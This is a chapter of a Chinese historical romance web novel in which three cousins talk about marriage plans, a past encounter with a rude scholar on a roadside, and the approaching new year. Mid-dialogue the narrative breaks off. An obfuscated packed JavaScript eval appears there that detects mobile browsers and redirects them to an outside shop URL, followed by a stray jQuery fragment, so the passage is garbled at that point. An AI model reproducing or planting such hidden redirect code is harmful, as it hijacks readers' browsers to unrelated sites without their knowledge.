忙着为女孩们选婚事的裴宜和与陈金珠对女儿发善心带回来的两个姑娘没什么太大的反应。
在调查清楚两人家世清白后,她们就只当作为镜光增添了两名玩伴,然后继续投身镜光的选婿大业。
三个姑娘里面,裴望兰已经有了几个满意的人选了;懿香年纪还小;目前的主人公,就剩一开始就要为她准备婚事的镜光了。
但当事人仍然懵懂。
“表姐啊……”春和庭里的春光还没轮换过来,这里仍然是冬雪统治的一方小世界。
镜光带着懿香赖在表姐的房间,企图躲避母亲们在越古楼堆成山的“选秀”画轴。
要说这“春和庭”,也是与母亲的名讳有些冒犯,但裴宜和才不在乎这些呢。
“和字好,那就用和字。”小小的望兰起名字时,裴宜和就慈爱地摸摸她的双丫髻。
说起来,当初的明敬皇后,名字里也有“和”。她们这一辈,裴家的女孩实在不多,于是都用了一个辈分的字来取名字。
“你选好了公子们吗?你要离开我们了吗?”
回到当下,镜光捧着寸心端上来的热茶杯,在一袭满绣滟金的月华裙里,神色怏怏。
就像当年姑母和大姐姐摸自己的发髻一样,望兰挨个抚过两个妹妹的油黑发髻。
镜光在家中一向懒得装饰珠翠,此时她的头发上还是绑着洒金的飘带,零星点缀几枚小小的金钗。在她的桂花头油甜香中,这星星一样的点点金花,就像是冬日绽放的潋滟桂花。
望兰抿嘴一笑:这样的头油,表妹最是喜爱,却还是特意用大瓶子,年年都分给自己和陈家妹妹。
她们三个,早在总角之年就学着戏台上的生旦净丑在花园秘密结拜,要一生一世永不分离。她又怎么会真心舍得妹妹们呢?
“好妹妹,咱们姐妹几个不会分离的。我成亲也是因为想有个孩子。”望兰细细和镜光诉说心声。
“从小到大,我被姑母们照顾得很是周全,但我也私心想着,不能麻烦我姑母一辈子。裴家主支如今就剩我一人了,我成亲以后,就能有孩子继承裴家的香火,和我一起思念父母,让我那含冤而死的长辈们在地下能有后代的歆享……这是我多年以来的夙愿。”
“而且,我也喜欢孩子们啊。看到她们天真无邪的面庞,那一瞬间,我所有的烦恼都消退了。”
——那表姐你可以招赘啊,或者自己生自己养!
镜光一瞬间浮现出了这个惊世骇俗的念头。但随后,她立刻反应过来,温柔懂礼的表姐,是不会接受这样的想法的。
那边的懿香也不喝茶,一个劲儿地踢踏绣鞋:“寸心要成婚了,裴姐姐你也要成婚了,以后咱们还会在一起玩吗?”
望兰一边一个,揽住两个妹妹:
“会啊。我会在新的房子,还有姑母要给我的敬国公旧宅都为你们留好房间,到时候你们想什么时候来就什么时候来,想住几天就住几天。要是陈妹妹你不想成婚,或者表妹顾不上你,就来我这里住一辈子。”
她也知道懿香的心愿,在这里故意打趣呢。
镜光故作不满:“表姐,你什么时候也如此促狭了!是不是寸心惊春她们几个带坏了你?”
嗯?懿香一下子反应过来:“怎么就是我们家惊春了,你的莳雨培雾就稳重大方了是不是?”
她装作判官“审问”镜光,还伸出双手要挠镜光的胳肢窝。
之前镜光生病,懿香没敢闹腾。这下子逮住机会,她可不能轻易放走表姐。
窗外的冬阳停停走走,似乎也分出了一缕心神,见证了两个妹妹就这样在姐姐温暖馨香的怀中笑闹。
镜光一向是全身的痒痒肉,在这样玩闹的时候,从小到大,她都能被懿香精准捕捉弱点。
“哈哈哈,我认输我认输!”被痒出眼泪的镜光左闪右躲,宣布投降。
微微平复呼吸之后,她还是赖在表姐怀中不愿离开。说起来,她还有个事情要问表姐呢——
“表姐表姐,这次我帮了秦姑娘休养。那你之前,有没有发过善心的时候呢?”
“比如说,四五六年前?”
镜光生怕表姐想不起来,把时间线都说出来了。要是表姐还难以回忆,她再亮出“京郊”这个地点。
好在,表姐略微思索,也不是没有一点印象:
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17639464|205799||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我之前出门遇见需要帮助的人,不论男女老少,都会询问是否需要帮助。私心想着,我多做些好事,就当是为我的父母积攒功德了。”
“要说起五年前,有一次我从明化寺祭拜归来,就看见驿道旁的土堆前,有个书生模样的人躺着。明明就在离茶摊不远的地方,他却只能任由风吹日晒。我心中不忍,就让寸心为他送去了水囊。”
望兰回忆到这里时,一旁和莳雨一起拿火钳烤栗子的寸心也回想起来了。
她猛地回头,声音中还带着炉子里燃烧的怒火:
“就是那个书生,是个轻浮的子弟!我现在记不太清他具体的模样了,只记得好像挺白的,也有点读书人的气质,可是我一去送水,就抓着我的袖子不放手!”
“我鼓眼瞪他、使劲儿打他都没有用,明明看着要中暑了,可是力气还不小。最后我还是说出了‘我是国公府的人,你休得无礼’,他才放开手!”(注)
“我娘亲给我新做的衣服,才上身两天,右边的袖子就被他扯烂了!”
这么过分!
莳雨惊春几个纷纷痛骂那个禽兽,从“一辈子上不了榜”到“穷困潦倒家徒四壁”,最恶毒的,就是迎桃和厨房里荤素不忌的妈妈们学的“生儿子没□□”了。
唉,镜光对应着表姐和寸心的话语,以及话本子的角度,轻轻叹息。
大家真的太善良了,完全想象不到,这个秦守,真的是禽兽;甚至他做出的事情,更是禽兽不如。
哦,在这一点上,那个长江后浪拍前浪的肖少卿,也不遑多让。
几个丫头们义愤填膺,但过一会儿,发散的思维就从“遭天谴的伪君子”到了即将到来的新年。
“新年要来了啊……”望兰感叹时光的流逝。
“咱们在长安京长了一岁,大姐姐也在遥远到我不敢想象的突厥,又过了一年。不知今年,能不能有她的来信呢……”
望兰的话语为年节的喜悦气氛增添了朦朦胧胧的惆怅。
镜光在表姐的臂弯里不愿离去,心思也随着表姐的感叹逐渐飞远。
她的大姐姐镜昭,即将要在突厥,度过冰雪茫茫中的第六年了啊。